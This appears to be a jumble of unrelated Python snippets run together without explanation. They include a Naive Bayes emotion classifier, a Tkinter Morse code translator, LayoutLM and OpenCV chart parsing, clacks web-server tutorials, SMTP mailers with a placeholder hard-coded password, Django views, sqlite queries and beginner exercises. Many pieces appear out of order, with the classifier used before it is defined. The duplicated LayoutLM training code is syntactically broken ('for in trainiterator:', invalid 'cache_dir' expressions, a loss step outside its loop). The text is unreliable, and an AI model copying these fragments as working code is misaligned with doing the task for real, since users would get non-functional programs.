agglomerative_vec = tfidf.fit_transform(content)
agg_clustering = AgglomerativeClustering(n_clusters=13, metric='euclidean', linkage='ward')

# Create labels from the Agglomerative Clustering above
labels = np.array(agg_clustering.fit_predict(agglomerative_vec.toarray()))
print(labels)
print("Accuracy:", accuracy_score(y_test_v4, mnb_y_pred))
print("Confusion Matrix:", confusion_matrix(y_test_v4, mnb_y_pred))
print("Classification Report:", classification_report(y_test_v4, mnb_y_pred))
# Vectorize your test data and use the classifier to predict the labels
X_test_vec = tfidf.transform(test_v4["content"])
mnb_y_pred = mnb.predict(X_test_vec)
# Multinomial Naive Bayes
mnb = MultinomialNB()

# Fit train dataset v3 to mnb
mnb.fit(X_train_vec_v4, y_train_v4)
# Create TFIDF vectorizer and fit it to training dataset
tfidf = TfidfVectorizer(ngram_range=(1,3), stop_words='english', lowercase=True)

# Transform train_v4['content'] to vectorize
X_train_vec_v4 = tfidf.fit_transform(train_v4["content"])
# Import the oversampling library
from imblearn.over_sampling import RandomOverSampler

# Separate the target variable from the features
X = df_emotions.drop('sentiment', axis=1)
y = df_emotions['sentiment']

# Create oversampler
oversampler = RandomOverSampler()
# Fit and transform the data
X_resampled, y_resampled = oversampler.fit_resample(X, y)

# Split the dataset into training and testing sets with stratified sampling
X_train_v4, X_test_v4, y_train_v4, y_test_v4 = train_test_split(X_resampled, y_resampled, test_size=0.2, stratify=y_resampled, random_state=42)

# Join X and Y into one table again
train_v4 = pd.concat([X_train_v4, y_train_v4], axis=1)
test_v4 = pd.concat([X_test_v4, y_test_v4], axis=1)
df_emotions = pd.read_csv("/path/to/the/file/HW2_emotions.csv")
df_emotions.head(5)
def converter_formato_numero(df_col):
    """
    (df_col)-->(df_col)

    """
    return df_col.str.strip().str.replace('.','').str.replace(',','.').str.replace('-','0')
df_cart['ano_prev_rec']=df_cart['data_prevista_recebimento'].dt.year.astype('str')
df_cart['mes_prev_rec']=df_cart['data_prevista_recebimento'].dt.month.map("{:02}".format).astype('str')
df_cart['ano_mes_prev_rec']=df_cart['ano_prev_rec']+df_cart['mes_prev_rec']
from django.utils import timezone

current_year = timezone.now().year
items = Items.objects.filter(created_time__year=current_year)
from django.db.models import Case, When, Value, CharField

Items.objects.update(fast_lane=Case(
    When(is_fast_lane=True, then=Value('Yes')),
    default=Value('No'),
    output_field=CharField()
))
from tkinter import *
from tkinter import simpledialog
from tkinter import messagebox
window=Tk()
window.geometry('300x300')
l1=Label(window,text="morse")
window.title('THE MORSE CODE TRANSLATOR')
window.configure(bg='White')
MORSE_CODE_DICT = { 'A':'.-', 'B':'-...','C':'-.-.', 'D':'-..', 'E':'.',
                        'F':'..-.', 'G':'--.', 'H':'....',
                        'I':'..', 'J':'.---', 'K':'-.-',
                        'L':'.-..', 'M':'--', 'N':'-.',
                    'O':'---', 'P':'.--.', 'Q':'--.-',
                    'R':'.-.', 'S':'...', 'T':'-',
                    'U':'..-', 'V':'...-', 'W':'.--',
                    'X':'-..-', 'Y':'-.--', 'Z':'--..',
                    '1':'.----', '2':'..---', '3':'...--',
                    '4':'....-', '5':'.....', '6':'-....',
                    '7':'--...', '8':'---..', '9':'----.',
                    '0':'-----', ', ':'--..--', '.':'.-.-.-',
                    '?':'..--..', '/':'-..-.', '-':'-....-',
                    '(':'-.--.', ')':'-.--.-','#':'...---'}
def buttonfunction():#encrytion:English->Morse code
    message=simpledialog.askstring("morse code","Enter English Code")
    message=message.upper()
    cipher = ''
    for letter in message:
            if letter != ' ':
                cipher += MORSE_CODE_DICT[letter] + ' '
            else:
                cipher += ' '
    labe1=Label(text=cipher,font=10000,bg='skyblue').pack()
def but():#decryption:Morse Code->English
    message=simpledialog.askstring("morse code","Enter Morse Code")
    message += ' '
    decipher = ''
    citext = ''
    for letter in message:
        if (letter != ' '):
            i = 0
            citext += letter
        else:
            i += 1
            if i == 2 :      
                decipher += ' '
            else:
                try:
                    decipher += list(MORSE_CODE_DICT.keys())[list(MORSE_CODE_DICT
                    .values()).index(citext)]
                    citext = ''
                except:
                   messagebox.showinfo('question','the code is incorrect')
    lan=Label(text=decipher,font=20).pack()
b=Button(window,text="ENGLISH to MORSE CODE",command=buttonfunction,bg='pink')
b.pack()
b1=Button(window,text="MORSE CODE to ENGLISH",command=but,bg='orange').pack(side=RIGHT)
window.mainloop()
import math

# Calculate the square root of a number
x = 25
sqrt_x = math.sqrt(x)
print(sqrt_x)

# Find the maximum value in a list
my_list = [4, 2, 7, 1, 9]
max_val = max(my_list)
print(max_val)
######### categorize the words into "keys, values, headers"

def graph_categorizer(words,bboxes,img):
  
  output_dict = {"headers":[],"keys":[],"values":[]}

  bboxes = normalize_bbox(bboxes,img)
  
  for idx in range(len(words[0])):
    x1,y1,x2,y2 = bboxes[idx]
    ###### header
    if(y2<=13):
      output_dict['headers'].append(words[0][idx])
    ###### keys
    elif(x2<43):
      output_dict['keys'].append(words[0][idx])    
    ###### values
    elif(x2>=43):
      output_dict['values'].append(words[0][idx])
  
  return output_dict

####### assign values to their respective keys with the help contours 


def nearest_assignment(updated_categorized_data,updated_words_to_bboxes,contours_right_coords):
  #### values to contour relation
  contour_to_values = {}
  for idx in range(len(contours_right_coords)):
    contours = contours_right_coords[idx]
    cont_x,_ = contours
    min_dist = float('inf')
    min_value = None
    for value in updated_categorized_data['values']:
      _,_,value_x,_ = updated_words_to_bboxes[value]
      curr_dist = abs(value_x-cont_x)
      # print(value,curr_dist,value_x,cont_x)
      if(min_dist>curr_dist):
        min_dist = curr_dist
        min_value = value
    contour_to_values[contours[1]] = min_value


  ######## 2nd method
  if(len(updated_categorized_data['values'])==len(contours_right_coords)):
    contour_to_values = {}
    for idx in range(len(contours_right_coords)):
      contours = contours_right_coords[idx]
      contour_to_values[contours[1]] = updated_categorized_data['values'][idx]
  return contour_to_values

#### assign values to their respective keys

def assign_value_to_keys(updated_categorized_data,updated_words_to_bboxes,contours_right_coords,contour_to_values):

  # fist assign the keys to the bars
  bars_to_keys = {}

  ## parsing the updated_categorized_data
  for cnt in contours_right_coords:
    _,cond_y = cnt
    min_diff = float('inf')
    right_key = None
    for key in updated_categorized_data['keys']:
      _,_,_,y = updated_words_to_bboxes[key]
      diff = float(abs(cond_y - y))
      if(min_diff > diff):
        min_diff = diff
        right_key = key
    bars_to_keys[cond_y] = right_key


  ###### simple solution for bars to keys
  if(len(contours_right_coords)==len(updated_categorized_data['keys'])):
    bars_to_keys = {}
    for idx in range(len(contours_right_coords)):
      contours = contours_right_coords[idx]
      bars_to_keys[contours[1]] = updated_categorized_data['keys'][idx]


  # now assigning the keys to the values
  keys_to_values = {}
  for k,v in bars_to_keys.items():
    keys_to_values[v] = contour_to_values[k]

  return keys_to_values
######## scaled data #############


def normalize_bbox(bboxes,img):
  # removing the fist and last coordinates
  bboxes= bboxes[1:-1]
  
  # Define the new image size
  new_width = 100
  new_height = 100

  original_width,original_height = img.size
  # Calculate the scaling factors
  x_scale = new_width / original_width
  y_scale = new_height / original_height

  #parsing the bboxes
  new_bboxes = []
  for bbox in bboxes:
    x1,y1,x2,y2 = bbox
    # Normalize the bounding box coordinates
    new_x1 = int(x1 * x_scale)
    new_y1 = int(y1 * y_scale)
    new_x2 = int(x2 * x_scale)
    new_y2 = int(y2 * y_scale)

    new_bbox = new_x1,new_y1,new_x2,new_y2
    new_bboxes.append(new_bbox)
  return new_bboxes
def loadFromLayoutlmv2():
  feature_extractor = LayoutLMv2FeatureExtractor.from_pretrained("microsoft/layoutlmv2-base-uncased")# apply_ocr is set to True by default
  tokenizer = LayoutLMv2TokenizerFast.from_pretrained("microsoft/layoutlmv2-base-uncased") 
  model = LayoutLMv2ForTokenClassification.from_pretrained("nielsr/layoutlmv2-finetuned-funsd")
  return feature_extractor,tokenizer,model

def labelForBoxes():
  dataset = load_dataset("nielsr/funsd", split="test")
  # define id2label, label2color
  labels = dataset.features['ner_tags'].feature.names
  id2label = {v: k for v, k in enumerate(labels)}
  label2color = {'question':'blue', 'answer':'green', 'header':'orange', 'other':'violet'}
  return id2label, label2color

def unnormalize_box(bbox, width, height):
     return [
         width * (bbox[0] / 1000),
         height * (bbox[1] / 1000),
         width * (bbox[2] / 1000),
         height * (bbox[3] / 1000),
     ]

def iob_to_label(label):
    label = label[2:]
    if not label:
      return 'other'
    return label

def process_image(image,id2label,label2color,feature_extractor,tokenizer,model):
    
    # Convert the image to RGB format
    image = image.convert('RGB')
    width, height = image.size

    # get words, boxes
    encoding_feature_extractor = feature_extractor(image, return_tensors="pt")
    words, boxes = encoding_feature_extractor.words, encoding_feature_extractor.boxes
    # encode
    encoding = tokenizer(words, boxes=boxes, truncation=True, return_offsets_mapping=True, return_tensors="pt")
    offset_mapping = encoding.pop('offset_mapping')
    encoding["image"] = encoding_feature_extractor.pixel_values
    # forward pass
    outputs = model(**encoding)
    # get predictions
    predictions = outputs.logits.argmax(-1).squeeze().tolist()
    token_boxes = encoding.bbox.squeeze().tolist()
    # only keep non-subword predictions
    is_subword = np.array(offset_mapping.squeeze().tolist())[:,0] != 0
    true_predictions = [id2label[pred] for idx, pred in enumerate(predictions) if not is_subword[idx]]
    true_boxes = [unnormalize_box(box, width, height) for idx, box in enumerate(token_boxes) if not is_subword[idx]]
    # draw predictions over the image
    draw = ImageDraw.Draw(image)
    font = ImageFont.load_default()
    for prediction, box in zip(true_predictions, true_boxes):
        predicted_label = iob_to_label(prediction).lower()
        draw.rectangle(box, outline=label2color[predicted_label])
        draw.text((box[0]+10, box[1]-10), text=predicted_label, fill=label2color[predicted_label], font=font)
    return image,true_boxes,words,true_predictions,true_boxes,is_subword
def calc_contours(image_path):
  img = cv2.imread(image_path)

  # Apply bilateral filter
  img_bilateral = cv2.bilateralFilter(img, 9, 75, 75)

  # Convert the image to grayscale
  gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

  # Apply thresholding to remove text and noise
  _, thresh = cv2.threshold(gray, 150, 255, cv2.THRESH_BINARY)

  # Apply ROI masking to exclude non-graph regions
  mask = np.zeros_like(thresh)
  mask[50:400, 100:700] = 255
  masked_thresh = cv2.bitwise_and(thresh, mask)

  # Apply edge detection using the Canny algorithm
  edges = cv2.Canny(gray, 100, 200)

  # Apply horizontal line detection using HoughLinesP
  lines = cv2.HoughLinesP(edges, 1, np.pi/180, 100, minLineLength=250, maxLineGap=15)
  horizontal_lines = []
  for line in lines:
      x1, y1, x2, y2 = line[0]
      if abs(y1 - y2) < 5: # Check if the line is horizontal
          horizontal_lines.append(line)

  # Draw the detected lines on the image
  for line in horizontal_lines:
      x1, y1, x2, y2 = line[0]
      # cv2.line(img, (x1, y1), (x2, y2), (255, 255, 255), 2)

  # Find contours in the image
  contours, hierarchy = cv2.findContours(edges, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)

  # Filter out unwanted contours based on contour area and aspect ratio
  bars = []
  for cnt in contours:
      area = cv2.contourArea(cnt)
      x, y, w, h = cv2.boundingRect(cnt)
      aspect_ratio = float(w) / h
      if area > 7 and aspect_ratio > 5 and aspect_ratio < 50000:
          bars.append(cnt)

  ###### 2 consecutive element from the bars represent single contour only
  ###### and we will consider only one of them, so we will filter out odd index elemnts from the "bars"

  def filter_bars(bars):
    lst = []
    for i in range(len(bars)):
      if(i%2==1):
        lst.append(bars[i])
    return lst

  bars = filter_bars(bars)

  # Draw the remaining contours on the image
  cv2.drawContours(img, bars, -1, (255, 255, 0), 2)

  # Show the image
  cv2_imshow(img)
  return bars

from layoutlm import FunsdDataset, LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer 
import torch 
 
MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

 
def main():
 
    if torch.cuda.is_available():
        device = torch.device("cuda")
        print("GPU is available")
    else:
        device = torch.device("cpu")
        print("GPU is not available, using CPU instead")
 
    labels = get_labels(labels) # in our case labels will be x-axis,y-axis,title
    num_labels = len(labels) # Use cross entropy ignore index as padding label id so that only real     label ids contribute to the loss later
    pad_token_label_id = CrossEntropyLoss().ignore_index
 
    config = config_class.from_pretrained( "layoutlm-base-uncased/", num_labels=num_labels,         force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )     
    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",      do_lower_case=True, force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )
 
    model = model_class.from_pretrained( "layoutlm-base-uncased/", config=config, )
    model.to(args.device)
 
    train_dataset = FunsdDataset( args, tokenizer, labels, pad_token_label_id, mode="train" )
    global_step, tr_loss = train( args, train_dataset, model, tokenizer, labels, pad_token_label_id )
 
    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",force_download = True, do_lower_case=args.do_lower_case,ignore_mismatched_sizes=True)
 
    model = model_class.from_pretrained(args.output_dir)
    model.to(args.device)
    result, predictions = evaluate( args, model, tokenizer, labels, pad_token_label_id, mode="test" )
 
    return result,predictions
from layoutlm import LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer,AdamW 
from torch.utils.data import DataLoader, RandomSampler 
import torch 
from tqdm import tqdm, trange

MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

def train( train_dataset, model, tokenizer, labels, pad_token_label_id):

    """ Train the model """
    if torch.cuda.is_available():
    	device = torch.device("cuda") 
		print("GPU is available")
    else:
    	device = torch.device("cpu")
	    print("GPU is not available, using CPU instead")

    train_sampler = RandomSampler(train_dataset)
    train_dataloader = DataLoader(train_dataset, sampler=train_sampler, 		   batch_size=args.train_batch_size, collate_fn=None )
    no_decay = ["bias", "LayerNorm.weight"]
    optimizer = AdamW( lr=learning_rate, eps=adam_epsilon)
    model = torch.nn.Module(model, find_unused_parameters=True)

    global_step, tr_loss = 0, 0.0
    model.zero_grad()
    train_iterator = trange(num_train_epochs, desc="Epoch")
    for in trainiterator:
    	epoch_iterator = tqdm(train_dataloader, desc="Iteration")
    	for step, batch in enumerate(epoch_iterator):
    		model.train()
    		inputs = {"input_ids": batch[0].to(device), "attention_mask": batch[1].to(device), 	"labels": batch[3].to(device)}
    		inputs["bbox"] = batch[4].to(device)
    		inputs["token_type_ids"] = batch[2].to(device)

    outputs = model(**inputs)
    loss = outputs[0]
    loss.backward()
    tr_loss += loss.item()

    optimizer.step() 
    # scheduler.step() # Update learning rate schedule
    model.zero_grad()
    global_step += 1

    return global_step, tr_loss / global_step
opened_file = open('AppleStore.csv')
from csv import reader
read_file = reader(opened_file)
apps_data = list(read_file)

rating_sum = 0
for row in apps_data[1:]:
    rating = float(row[7])
    rating_sum = rating_sum + rating
    
avg_rating = rating_sum / len(apps_data[1:])
print(avg_rating)
from layoutlm import FunsdDataset, LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer,AdamW 
from torch.utils.data import DataLoader, RandomSampler, SequentialSampler 
from torch.utils.data.distributed import DistributedSampler 
import torch 
from tqdm import tqdm, trange

MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

def train( train_dataset, model, tokenizer, labels, pad_token_label_id):

    """ Train the model """
    if torch.cuda.is_available():
    	device = torch.device("cuda") 
		print("GPU is available")
    else:
    	device = torch.device("cpu")
	    print("GPU is not available, using CPU instead")

    train_sampler = RandomSampler(train_dataset)
    train_dataloader = DataLoader(train_dataset, sampler=train_sampler, 		   batch_size=args.train_batch_size, collate_fn=None )
    no_decay = ["bias", "LayerNorm.weight"]
    optimizer = AdamW( lr=learning_rate, eps=adam_epsilon)
    model = torch.nn.Module(model, find_unused_parameters=True)

    global_step, tr_loss = 0, 0.0
    model.zero_grad()
    train_iterator = trange(num_train_epochs, desc="Epoch")
    for in trainiterator:
    	epoch_iterator = tqdm(train_dataloader, desc="Iteration")
    	for step, batch in enumerate(epoch_iterator):
    		model.train()
    		inputs = {"input_ids": batch[0].to(device), "attention_mask": batch[1].to(device), 	"labels": batch[3].to(device)}
    		inputs["bbox"] = batch[4].to(device)
    		inputs["token_type_ids"] = batch[2].to(device)

    outputs = model(**inputs)
    loss = outputs[0]
    loss.backward()
    tr_loss += loss.item()

    optimizer.step() # scheduler.step() # Update learning rate schedule
    model.zero_grad()
    global_step += 1

    return global_step, tr_loss / global_step

def main():

    if torch.cuda.is_available():
    	device = torch.device("cuda")
    	print("GPU is available")
    else:
        device = torch.device("cpu")
        print("GPU is not available, using CPU instead")

    labels = get_labels(labels) # in our case labels will be x-axis,y-axis,title
    num_labels = len(labels) # Use cross entropy ignore index as padding label id so that only real 	label ids contribute to the loss later
    pad_token_label_id = CrossEntropyLoss().ignore_index

    config = config_class.from_pretrained( "layoutlm-base-uncased/", num_labels=num_labels, 		force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, ) 	
	tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased", 	 do_lower_case=True, force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )

    model = model_class.from_pretrained( "layoutlm-base-uncased/", config=config, )
    model.to(args.device)

    train_dataset = FunsdDataset( args, tokenizer, labels, pad_token_label_id, mode="train" )
    global_step, tr_loss = train( args, train_dataset, model, tokenizer, labels, pad_token_label_id )

    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",force_download = True, do_lower_case=args.do_lower_case,ignore_mismatched_sizes=True)

    model = model_class.from_pretrained(args.output_dir)
    model.to(args.device)
    result, predictions = evaluate( args, model, tokenizer, labels, pad_token_label_id, mode="test" )

    return result,predictions
sepatu = { "nama" : "Sepatu Niko", "harga": 10000, "diskon": 0000 }

baju = { "nama" : "Baju Unikloh", "harga": 0000, "diskon": 8000 }
3
celana = { "nama" : "Celana Lepis", "harga": 200000, "diskon": 0000 }

harga_sepatu = sepatu["harga"] - sepatu["diskon"]
5
harga_baju = baju["harga"] - baju["diskon"]
6
harga_celana = celana["harga"] - celana["diskon"]

total_harga = (___) * ___ 
8
print(___)
import requests

# -- with the standard web API, the simple GET method without any path will just be rerouted to the "list_commands"
# -- method.
response = requests.get('http://localhost:9000')
print(response.json()['response'])

# -- with our custom API, we've registered one resource on the GET path, and one on the POST path.
# -- these requests use different "verbs", as they are referred to.

# -- both of these methods effectively do the same thing for this example, but this shows how to route requests
# -- through different paths.
response = requests.get('http://localhost:9000/simple_get', json={'my_arg': 'my_value'})
print(response.json()['response'])

response = requests.post('http://localhost:9000/simple_post', json={'my_arg': 'my_value'})
print(response.json()['response'])
import clacks_web
from interface import MySimpleRESTAPI

# -- as you can see, with the clacks_web library, making a simple REST API web server is dead easy.
server = clacks_web.simple_rest_api('My First Web Server', 'localhost', 9000)
server.register_interface('tutorial', MySimpleRESTAPI())
server.start(blocking=True)
from clacks import ServerInterface
from clacks_web import get, post


class MySimpleRESTAPI(ServerInterface):

    @get('/simple_get')
    def simple_get(self, *args, **kwargs):
        print(args, kwargs)
        return f'Simple GET method that returns some kind of resource. Can take arguments: {args}, {kwargs}, but you ' \
               f'will note that all arguments are provided as keyword arguments, as HTTP requests do not allow simple ' \
               f'positional arguments.'

    @post('/simple_post')
    def simple_post(self, *args, **kwargs):
        return f'Simple POST method that takes some arguments and makes some kind of server-side alteration.' \
               f'This kind of method is usually reserved for database alterations and most commonly used in ' \
               f'web form submission.'
import requests

# -- with the standard web API, the simple GET method without any path will just be rerouted to the "list_commands"
# -- method.
response = requests.get('http://localhost:9000')
print(response.json()['response'])
import clacks_web

# -- as you can see, with the clacks_web library, making a simple REST API web server is dead easy.
server = clacks_web.simple_rest_api('My First Web Server', 'localhost', 9000)
server.start(blocking=True)
import clacks
from interface import MyCustomInterface

# -- create a simple server instance.
# -- All keyword arguments can be left to their default in most cases.
server = clacks.ServerBase(identifier='My First Clacks Server')

# -- create a handler. Handlers are how the Server receives input requests.
handler = clacks.JSONHandler(clacks.JSONMarshaller(), server=server)

# -- once a handler has been created, it needs to be registered on a host/port combo.
server.register_handler_by_key(host='localhost', port=9998, handler_key='simple', marshaller_key='simple')

# -- give the server something to do - the "standard" interface contains some basic methods.
server.register_interface_by_key('standard')

# -- now register our custom interface
server.register_interface('custom', MyCustomInterface())

# -- start the server. By setting "blocking" to True, we block this interpreter instance from progressing.
# -- Setting "blocking" to False instead would not stop this interpreter instance from continuing, so the server
# -- would die if the interpreter instance reaches its exit point.
server.start(blocking=True)
from clacks import ServerInterface


class MyCustomInterface(ServerInterface):

    def hello_world(self) -> str:
        return 'Hello World'
# reverse for loop
for i in range(5, 0, -1):
    print(i)
import re

# Target String
target_string = "Emma is a baseball player who was born on June 17, 1993."

# find substring 'ball'
result = re.search(r"ball", target_string)

# Print matching substring
print(result.group())
# output 'ball'

# find exact word/substring surrounded by word boundary
result = re.search(r"\bball\b", target_string)
if result:
    print(result)
# output None

# find word 'player'
result = re.search(r"\bplayer\b", target_string)
print(result.group())
# output 'player'
def some_function():
    if condition_a:
        # do something and return early
        ...
        return
    ...
    if condition_b:
        # do something else and return early
        ...
        return
    ...
    return

if outer_condition:
    ...
    some_function()
    ...
# Using regex Python library

>>> match.start()
2
>>> match.end()
8
n = 5
lst = [None] * n
print(lst)
# [None, None, None, None, None]
def operations(letter):
    switch={
       'a': "It is a vowel",
       'e': "It is a vowel",
       'i': "It is a vowel",
       'o': "It is a vowel",
       'u': "It is a vowel",
       }
    return switch.get(letter,"It is a not a vowel")		# disregard 2nd parameter

operations('a')
a = 1
 
# Uses global because there is no local 'a'
def f():
    print('Inside f() : ', a)
 
# Variable 'a' is redefined as a local
def g():
    a = 2
    print('Inside g() : ', a)
 
# Uses global keyword to modify global 'a'
def h():
    global a
    a = 3
    print('Inside h() : ', a)
 
 
# Global scope
print('global : ', a)
f()
print('global : ', a)
g()
print('global : ', a)
h()
print('global : ', a)
pip freeze > requirements.txt # OR conda list -e > requirements.txt
word = 'Python'

word[:2]   # character from the beginning to position 2 (excluded)
# 'Py'
word[4:]   # characters from position 4 (included) to the end
# 'on'
word[-2:]  # characters from the second-last (included) to the end
# 'on'
response = requests.get("https://api.open-notify.org/astros.json")
print(response.status_code)
response = requests.get("https://api.open-notify.org/this-api-doesnt-exist")
import clacks

# -- first we create a handler / marshaller pair.
# -- as we know the server used the "simple" handler / marshaller combination on this port, we recreate its exact
# -- copy here. Otherwise, the handler will not be able to talk to the server.
handler = clacks.SimpleRequestHandler(clacks.SimplePackageMarshaller())

# -- now we can create a proxy for the "simple" server port.
proxy = clacks.ClientProxyBase(('localhost', 9998), handler=handler, connect=True)

# -- and now we can run methods on this proxy just as if we were running them directly on the server.
print(proxy.list_commands())
import clacks

# -- create a simple server instance.
# -- All keyword arguments can be left to their default in most cases.
server = clacks.ServerBase(identifier='My First Clacks Server')

# -- create a handler. Handlers are how the Server receives input requests.
handler = clacks.JSONHandler(clacks.JSONMarshaller(), server=server)

# -- once a handler has been created, it needs to be registered on a host/port combo.
server.register_handler_by_key(host='localhost', port=9998, handler_key='simple', marshaller_key='simple')

# -- give the server something to do - the "standard" interface contains some basic methods.
server.register_interface_by_key('standard')

# -- start the server. By setting "blocking" to True, we block this interpreter instance from progressing.
# -- Setting "blocking" to False instead would not stop this interpreter instance from continuing, so the server
# -- would die if the interpreter instance reaches its exit point.
server.start(blocking=True)
my_set.add(item)  # adds an item to the set
my_set.remove(item)  # removes an item from the set
my_set.union(other_set)  # returns a new set with all unique items from both sets
my_set.intersection(other_set)  # returns a new set with items that are common to both sets
module(name = "my-module", version = "1.0")

bazel_dep(name = "rules_cc", version = "0.0.1")
bazel_dep(name = "protobuf", version = "3.19.0")
module(name = "my-module", version = "1.0")

bazel_dep(name = "rules_cc", version = "0.0.1")
bazel_dep(name = "protobuf", version = "3.19.0")
import csv
from tabulate import tabulate
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib

me = 'xxx@gmail.com'
password = 'yyyzzz!!2'
server = 'smtp.gmail.com:587'
you = 'qqq@gmail.com'

text = """
Hello, Friend.

Here is your data:

{table}

Regards,

Me"""

html = """
<html><body><p>Hello, Friend.</p>
<p>Here is your data:</p>
{table}
<p>Regards,</p>
<p>Me</p>
</body></html>
"""

with open('input.csv') as input_file:
    reader = csv.reader(input_file)
    data = list(reader)

text = text.format(table=tabulate(data, headers="firstrow", tablefmt="grid"))
html = html.format(table=tabulate(data, headers="firstrow", tablefmt="html"))

message = MIMEMultipart(
    "alternative", None, [MIMEText(text), MIMEText(html,'html')])

message['Subject'] = "Your data"
message['From'] = me
message['To'] = you
server = smtplib.SMTP(server)
server.ehlo()
server.starttls()
server.login(me, password)
server.sendmail(me, you, message.as_string())
server.quit()
# df.at[index, 'column_name'] = desired_value
df.at[4, 'VALUE'] = 0.064900
import smtplib
from email.mime.text import MIMEText

s = smtplib.SMTP('smtp.uk.xensource.com')
s.set_debuglevel(1)
msg = MIMEText("""body""")
sender = 'me@example.com'
recipients = ['john.doe@example.com', 'john.smith@example.co.uk']
msg['Subject'] = "subject line"
msg['From'] = sender
msg['To'] = ", ".join(recipients)
s.sendmail(sender, recipients, msg.as_string())
def insert(request):
    if request.method == "POST":
        form = UserInfo(request.POST)
        if form.is_valid():
            try:
                form.save()
                return redirect('/')

            except:
                pass
    else:
        form = UserInfo()
    return render(request, 'register.html', {'form': form})


def show(request):
    userdetails = Userdetails.objects.all()
    return render(request, "admin/userinfo.html", {'userdetails': userdetails})


def edit(request, id):
    userinfo = Userdetails.objects.get(id=id)
    return render(request, 'admin/edit.html', {'userinfo': userinfo})


def update(request, id):
    userinfo = Userdetails.objects.get(id=id)
    form = UserInfo(request.POST, instance=userinfo)
    if form.is_valid():
        form.save()
        return redirect("/show")
    return render(request, 'admin/edit.html', {'userinfo': userinfo})


def destroy(request, id):
    userinfo = Userdetails.objects.get(id=id)
    userinfo.delete()
    return redirect("/show")
    
    
    
    
    
    
    
    
    
    
    
    
 # _________Login__________
# def userlogin(request):
#     if request.method == 'POST':
#         username = request.POST['username']
#         password = request.POST['password']
#         user = auth.authenticate(username=username, password=password)
#         if user is not None:
#             auth.login(request, user)
#             return redirect('/afterlogin')
#         else:
#             return redirect('/second')
#     else:
#         return HttpResponse('<script> alert("Submission Error...!!!") </script>')





def userloginf(request):
    if request.method == 'POST':
        username = request.POST['username']
        password = request.POST['password']
        user = authenticate(username=username, password=password)
        if user is not None:
            login(request, user)
            messages.success(request, "Successfully Logged In")
            return redirect('/afterlogin')
        else:
            messages.error(request, "Invalid Crdentials, Please try again")
            return redirect('/dishes')

    return HttpResponse('<script> alert("Submission Error...!!!") </script>')

def afterlogin(request):
    return render(request, "profile.html")   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
import pandas as pd

df = pd.read_parquet("C:/Users/w10/Downloads/pred_exog_mx.parquet")
df.columns
AttributeError: Can only use .dt accessor with datetimelike values
import sqlite3
JList = []

class MyJournal:
    
    def __init__(self,id,name):
        self.id = id
        self.name = name
        
    def description(self):
        return "Journal number: " + str(self.id) + " has the name " + self.name

conn = sqlite3.connect('academic_papers_populated.db')

cursor = conn.cursor()


for row in cursor.execute('''SELECT * FROM Journal;'''):

    JList.append(MyJournal(row[0],row[1]))

cursor.close()
import sqlite3
conn = sqlite3.connect('academic_papers_populated.db')

def apaReference(ArticleId):
    SQL = '''SELECT AuthorNumber, LastName, Initials, Year, Title, Name  
             FROM Article as p, Journal as j, Author as a, Article_Authors as b
             WHERE p.JournalID = j.JournalID
             AND p.ArticleID = b.ArticleID
             AND b.AuthorID = a.AuthorID
             AND p.Articleid = :id
             ORDER BY AuthorNumber;'''

    cursor = conn.cursor()
    record = cursor.execute(SQL,{'id':ArticleId}).fetchall()
    cursor.close()
    if len(record) ==0:
        raise Exception("Invalid Article")
    else:
        ref = ''
        count = 0
        for row in record:
            ref = ref + row[1]+', '+row[2]
            count += 1
            if count < len(record):
                if count + 1 < len(record):
                    ref = ref +', '
                else:
                    ref = ref +', & '
        ref = ref + ' (' + str(record[0][3]) + ') '+ record[0][4]+ '. ' +record[0][5]+'.'
        return ref
import sqlite3

# Create a connection to the database
conn = sqlite3.connect('Northwind2020.db')

# Create a cursor object to execute SQL queries
cursor = conn.cursor()

# Retrieve the number of unique suppliers that have discontinued products
query = '''
SELECT COUNT(DISTINCT SupplierId)
FROM Product
WHERE IsDiscontinued = 1
'''

cursor.execute(query)
num_discontinued_suppliers = cursor.fetchone()[0]

# Display an appropriate message based on the number of discontinued suppliers
if num_discontinued_suppliers >= 20:
    print("20 or more suppliers have discontinued products.")
elif num_discontinued_suppliers <= 0:
    print("All products are available.")
else:
    print("Less than 20 suppliers have discontinued products.")

# Close the database connection
conn.close()




import sqlite3
conn = sqlite3.connect('Northwind2020.db')
SQL = '''SELECT COUNT(*)As NoMore
         FROM
         (SELECT Distinct(S.Id)
         FROM Supplier S, Product P
         WHERE S.Id == P.SupplierId
         AND P.IsDiscontinued = 1
         GROUP BY S.CompanyName) '''

cursor = conn.cursor()
cursor.execute(SQL)
answer = cursor.fetchone()

if answer[0]!= None:
    if int((answer[0]) >= 20):
        print("More than 20 suppliers have discontinued products.")
    else:
        print("Less than 20 suppliers have discontinued products.")
else:
    print("All products are available.")
    
cursor.close()
from datetime import datetime

currentyear = 2021
currentmonth = 2
currentday = 10

def validate_age(DOB):
    current_date = datetime(currentyear, currentmonth, currentday)
    day, month, year = map(int, DOB.split('-'))
    dob_date = datetime(year, month, day)
    age_in_years = current_date.year - dob_date.year - ((current_date.month, current_date.day) < (dob_date.month, dob_date.day))
    return age_in_years



currentyear = 2021
currentmonth = 2
currentday = 10

def validate_age(DOB):
    #your code goes here
    b_year = int(DOB[-4:])
    b_month = int(DOB[-7:-5])
    b_day = int(DOB[:2])
    
    age = currentyear - b_year
    if b_month > currentmonth:
        age -= 1
